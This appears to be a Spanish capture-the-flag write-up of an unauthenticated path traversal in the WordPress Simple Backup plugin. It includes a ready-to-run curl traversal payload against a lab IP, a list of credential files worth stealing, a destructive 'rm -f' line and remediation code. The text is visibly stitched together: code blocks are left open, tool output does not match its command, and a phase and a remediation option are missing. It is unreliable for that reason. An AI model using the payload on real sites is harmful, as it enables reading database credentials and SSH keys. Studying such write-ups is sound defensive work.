`page=backup_manager` enruta la solicitud al manejador de la página de administración del plugin; `download_backup_file` es el parámetro que el código del plugin lee directamente y concatena en una ruta del sistema de archivos sin validación, lo que permite el recorrido de directorios.

---

### Puntuación CVSS v3.1

**7.5 - ALTO** (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)

- **Vector de ataque (AV):** Red
- **Complejidad de ataque (AC):** Baja
- **Privilegios requeridos (PR):** Ninguno
- **Interacción del usuario (UI):** Ninguna
- **Alcance (S):** Sin cambios
- **Confidencialidad (C):** Alta
- **Integridad (I):** Ninguna
- **Disponibilidad (A):** Ninguna

---

### Impacto empresarial

**Violación de confidencialidad:** ⚠️ CRÍTICO

Los atacantes pueden leer cualquier archivo accesible para el servidor web, incluyendo:

| Archivo | Impacto | Nivel de riesgo |
|------|--------|------------|
| `/wp-config.php` | Credenciales de base de datos, salts y claves | 🔴 CRÍTICO |
| `/.env` | Claves API, secretos y configuración | 🔴 CRÍTICO |
| `/etc/passwd` | Enumeración de usuarios, mapeo del sistema | 🟠 ALTO |
| Claves SSH (`.ssh/id_rsa`) | Movimiento lateral, acceso al sistema | 🔴 CRÍTICO |
| `/proc/self/environ` | Secretos de la aplicación en ejecución | 🟠 ALTO |
| Directorio de subidas de usuarios | Archivos privados, medios | 🟠 ALTO |

**Impacto normativo:**
- **Violación del GDPR:** Acceso no autorizado a datos de usuario
- **Violación de HIPAA:** Exposición de información de salud protegida
- **Violación de PCI-DSS:** Acceso a datos de tarjetas de crédito o información de pago
- **Violación de SOC 2:** Incumplimiento del requisito de confidencialidad

---

### Patrón de código vulnerable

El aviso de Exploit-DB (39883.txt, leído mediante `searchsploit -x` — ver [ht4-poc.png](https://github.com/capivara-research/wordpress-path-traversal-cve-2019-11447/blob/HEAD/images/ht4-poc.png)) documenta la primitiva de **borrado** del plugin desde `simple-backup-manager.php`:```php
if(array_key_exists('delete_backup_file', $_GET)){
    $this->delete_local_backup_file($_GET['delete_backup_file']);
}

`$filename` proviene directamente de `$_GET['delete_backup_file']` sin comprobación de `basename()` ni de contención de ruta. Pasar `../pizza.txt` resuelve `$bk_dir . $filename` a `.../simple-backup/../pizza.txt` → `.../pizza.txt`, escapando de la carpeta de respaldo prevista.

La primitiva de **descarga** realmente explotada en este compromiso (`download_backup_file`) sigue el mismo patrón de concatenación sin sanear en el mismo plugin, pero devuelve el archivo al solicitante en lugar de eliminarlo — lo que permitió recuperar `/flag.txt` desde la raíz del sistema de archivos (10× `../` desde `ABSPATH/simple-backup/`).

**El problema:**
- No se usa `basename()` para eliminar componentes de directorio
- No hay lista blanca de archivos permitidos
- No se valida que `realpath()` permanezca dentro de `ABSPATH."simple-backup/"`
- Concatenación directa de la entrada del usuario en la ruta del archivo
- No hay comprobación de `current_user_can()` / autenticación antes de servir el archivo — el manejador se ejecuta al cargar el plugin, antes de la propia puerta de autenticación `wp-admin` de WordPress, por lo que es accesible **sin haber iniciado sesión**

---

### Prueba de Concepto

#### **Fase 1: Acceso Inicial — Identificación de la Aplicación**

Conexión directa al objetivo mediante el navegador (`http://154.57.164.73:30706/`). La instalación de WordPress se titula **"GETTING STARTED"**, y una entrada de blog pública en la página de inicio revela el nombre y la versión exactos del plugin en texto plano: **"Simple Backup Plugin 2.7.10 for WordPress"** — ni siquiera se necesitaron herramientas de enumeración para identificar el componente vulnerable.

![Acceso Inicial - Versión del plugin revelada en la página de inicio de WordPress](https://assets.kitploit.com/production/public/readmes/51282/807a6be937aeb55de6f3c60b479762729a056e9134edd0f8bf3a0779b36b854f/46c8a8c16d715251f282bacf2522c3e620864b14008847867c32672ba0d051fd-display-v1.webp)

#### **Fase 2: Fingerprinting del Servicio**```bash
whatweb http://154.57.164.73:30706/

**Resultado:**```
Exploit Title                                              |  Path
------------------------------------------------------------------------------
WordPress Plugin Simple Backup 2.7.11 - Multiple Vulnerabilities | php/webapps/39883.txt

El aviso documenta la **Eliminación Arbitraria de Archivos** sin autenticación mediante el parámetro `delete_backup_file`, y señala que los archivos de respaldo en `simple-backup/` (y, por la misma ruta de código sin saneamiento, archivos arbitrarios a través de `download_backup_file`) pueden obtenerse sin autenticación.

![Investigación de Vulnerabilidades - Exploit-DB PoC 39883.txt leído mediante searchsploit -x](https://assets.kitploit.com/production/public/readmes/51282/8d2f7a41935c4f9ebf4df1243ee68ba0628592b26411770696534eaa903851c4/7e636497c5d9d7382c9b0d7d5917938a399cf76f014b6e5fb754400078325e54-display-v1.webp)

#### **Fase 4: Explotación — Path Traversal a través de `download_backup_file`**

Endpoint vulnerable identificado desde el enrutado de la página de administración del plugin:```
http://154.57.164.73:30706/wp-admin/tools.php?page=backup_manager&download_backup_file=

**GUI (utilizada en esta evaluación):** se navegó directamente a la URL del payload en la barra de direcciones del navegador. No se requirió inicio de sesión — el navegador desencadenó una descarga automática del archivo `flag.txt` resuelto.

![Explotación - Payload de path traversal en la barra de direcciones del navegador, flag.txt descargado](https://assets.kitploit.com/production/public/readmes/51282/c02c8273770253f4f0c3b79c0e4de1ab7b8190bfdbbec554a90a25e22553a635/6d1a521bdea2df6ba65e17df783d9f81ea3da096daba3f9bde02bece60a8e406-display-v1.webp)

**Equivalente headless:**```bash
curl -s "http://154.57.164.73:30706/wp-admin/tools.php?page=backup_manager&download_backup_file=../../../../../../../../../../flag.txt" -o flag.txt
cat flag.txt

---

### Validación del Impacto

✅ **Confidencialidad Comprometida:** Cualquier archivo legible por el proceso del servidor web es accesible
✅ **Sin Autenticación Requerida:** Usuarios no autenticados pueden explotarlo
✅ **Sin Interacción del Usuario:** Explotación mediante solicitudes HTTP directas
✅ **Repetible y Fiable:** Funciona en todas las versiones vulnerables
✅ **Datos Críticos del Negocio en Riesgo:** Archivos de configuración, credenciales y datos de usuario expuestos

---

## Remediación

### **Opción 1: Lista Blanca de Entradas (Recomendada)**

Solo permitir descargas desde una lista predefinida de archivos:```php
<?php
// Define allowed backup files
$allowed_files = array(
    'backup_2024_01_15.zip',
    'backup_2024_01_16.zip',
    'backup_2024_01_17.zip',
);

$requested_file = $_GET['download_backup_file'];

// Validate against whitelist
if (!in_array($requested_file, $allowed_files)) {
    die("File not found or access denied");
}

// Use basename() as double protection
$file = basename($requested_file);
$filepath = ABSPATH . "simple-backup/" . $file;

// Verify file exists and is readable
if (!file_exists($filepath) || !is_readable($filepath)) {
    die("File not found");
}

readfile($filepath);
?>

**Ventajas:**
- Maneja enlaces simbólicos y rutas complejas
- Verifica la contención automáticamente
- Más flexible que la lista blanca

---

### **Opción 3: Usar basename() solo para el nombre de archivo**

Extraer solo el componente del nombre de archivo:```php
<?php
$user_input = $_GET['download_backup_file'];

// Remove all directory components
$file = basename($user_input);

// Build safe path
$filepath = ABSPATH . "simple-backup/" . $file;

// Verify file exists
if (!file_exists($filepath)) {
    die("File not found");
}

readfile($filepath);
?>

**Permisos del sistema de archivos:**```bash
# Restrict web server access to necessary directories only
chmod 750 /var/www/html/wp-content/plugins/
chmod 750 /var/www/html/wp-content/simple-backup/

# Remove sensitive files from web root
rm -f /var/www/html/.env
mv /var/www/html/wp-config.php /var/www/wp-config.php

# Use chroot/jailing for web server
# Set PHP open_basedir to restrict file access
php_admin_value[open_basedir] = /var/www/html/uploads

**Gestión de actualizaciones:**

1. Deshabilitar o eliminar el plugin Simple Backup
2. Instalar una solución de respaldo aprobada con auditoría de seguridad
3. Actualizar WordPress a la última versión
4. Actualizar todos los plugins a las últimas versiones
5. Actualizar PHP a 8.0+ con parches de seguridad

---

## Cadena de ataque```
┌─────────────────────────────────────────────────────────────┐
│  1. INITIAL ACCESS                                          │
│  └─ Browse to 154.57.164.73:30706                           │
│  └─ WordPress "GETTING STARTED" site identified              │
│  └─ Homepage blog post discloses: Simple Backup Plugin 2.7.10│
└──────────────────────┬──────────────────────────────────────┘
                       │
┌──────────────────────▼──────────────────────────────────────┐
│  2. ENUMERATION                                             │
│  └─ whatweb confirms Apache 2.4.41, WordPress 5.6.1          │
└──────────────────────┬──────────────────────────────────────┘
                       │
┌──────────────────────▼──────────────────────────────────────┐
│  3. VULNERABILITY RESEARCH                                  │
│  └─ searchsploit → 39883.txt (Simple Backup 2.7.11 vulns)    │
│  └─ searchsploit -x → read PoC, identify unsanitized         │
│     delete_backup_file / download_backup_file parameters     │
└──────────────────────┬──────────────────────────────────────┘
                       │
┌──────────────────────▼──────────────────────────────────────┐
│  4. EXPLOITATION                                             │
│  └─ Endpoint: /wp-admin/tools.php?page=backup_manager        │
│  └─ Payload: download_backup_file=../..(x10)../flag.txt      │
│  └─ Browser navigates to payload URL (no login required)     │
│  └─ Plugin resolves path to /flag.txt and serves it          │
└──────────────────────┬──────────────────────────────────────┘
                       │
┌──────────────────────▼──────────────────────────────────────┐
│  5. SUCCESS                                                 │
│  └─ Flag Retrieved: HTB{my_f1r57_h4ck}                       │
│  └─ Confidentiality Breached                                 │
│  └─ Unauthenticated arbitrary file read confirmed             │
└─────────────────────────────────────────────────────────────┘